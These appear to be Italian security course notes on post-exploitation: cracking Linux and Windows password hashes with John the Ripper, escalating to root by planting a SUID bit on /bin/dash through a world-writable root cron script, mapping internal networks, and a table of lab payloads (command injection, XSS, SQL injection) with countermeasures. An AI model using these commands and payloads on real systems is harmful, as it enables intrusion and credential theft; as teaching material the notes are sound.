Credenziali e cracking offline. Se si ottengono le credenziali di altri utenti si ereditano i loro privilegi. Si recupera la tabella utenti con `hashdump` (Windows) oppure `/etc/passwd` + `/etc/shadow` (Linux). Gli hash sono funzioni a senso unico: si fa **brute force** con una buona wordlist, calcolando gli hash dei candidati (rainbow table) e cercando corrispondenze. Con **John the Ripper**:

```
unshadow passwd.txt shadow.txt > passwords.txt
john --wordlist=[word-list-file] passwords.txt
```

Osservazioni: funziona solo se la password è nella lista, è dispendioso in tempo, e leggere `/etc/shadow`/eseguire `hashdump` richiede già privilegi elevati.

Misconfigurazioni (SUID, permessi 777). A volte i programmi hanno privilegi troppo alti: controllandone il comportamento si acquisiscono i loro privilegi. Si cercano file scrivibili da tutti:

```
find -perm 777
find . -type f -user root -perm 777 -exec grep -l 'python' {} +
```

Esempio: dato uno script Python 777 eseguito da root (anche via cronjob), lo si modifica aggiungendo:

```
os.system('chmod u+s /bin/dash')   # applica il bit SUID a /bin/dash
```

Quando root esegue il programma, `/bin/dash` ottiene il SUID e si ha root su ogni sessione di shell successiva. L'esecuzione regolare può essere garantita da una riga in `/etc/crontab`:

```
*/5 * * * * root /home/user/cleanup.py /home/user/tmp/
```

8.5 Mappatura della rete interna

Dopo aver consolidato l'accesso si mappa la rete interna per scoprire altri host:

```
ipconfig / ifconfig     # interfacce di rete disponibili
route print / route     # tabella di routing -> inizio mappatura
arp -a                  # macchine viste su quel segmento di rete
netstat                 # (anche via Meterpreter); inoltre ping sweep
```

Da qui il processo ricomincia ciclicamente (scanning, enumeration, vulnerability assessment, exploitation) usando l'host compromesso come punto di partenza.

9 Quadro riepilogativo delle vulnerabilità

Vulnerabilità	**Causa radice**	**PoC / esempio del corso**	**Contromisura chiave**
CVE (es. Unreal IRCd)	Software noto non patchato	`AB; <CMD>;` — RCE blind (Metasploitable 2)	Patch/aggiornamenti
XSS	Input validation scorretta (context HTML)	`<img>` con `onerror=alert(1)` (DVWA)	Output encoding, CSP, HttpOnly
RCE / Command Injection	API tainted (`shell_exec`)	Command Injection su DVWA (low/medium)	No input a exec, whitelist
SQL Injection	Input validation scorretta (query)	`' OR True #`; `UNION SELECT`; blind + binary search	Prepared statement
LFI / Path Traversal	Parametro di `include` controllato	Lettura di `/etc/passwd` (DVWA)	Whitelist, `open_basedir`
RFI	Inclusione remota abilitata	Inclusione da server remoto	Disabilitare include remoto
CSRF	Abuso del ruolo/sessione utente	Richieste forgiate	Token anti-CSRF
TOCTOU	Accesso concorrente inconsistente	Data race	Locking, operazioni atomiche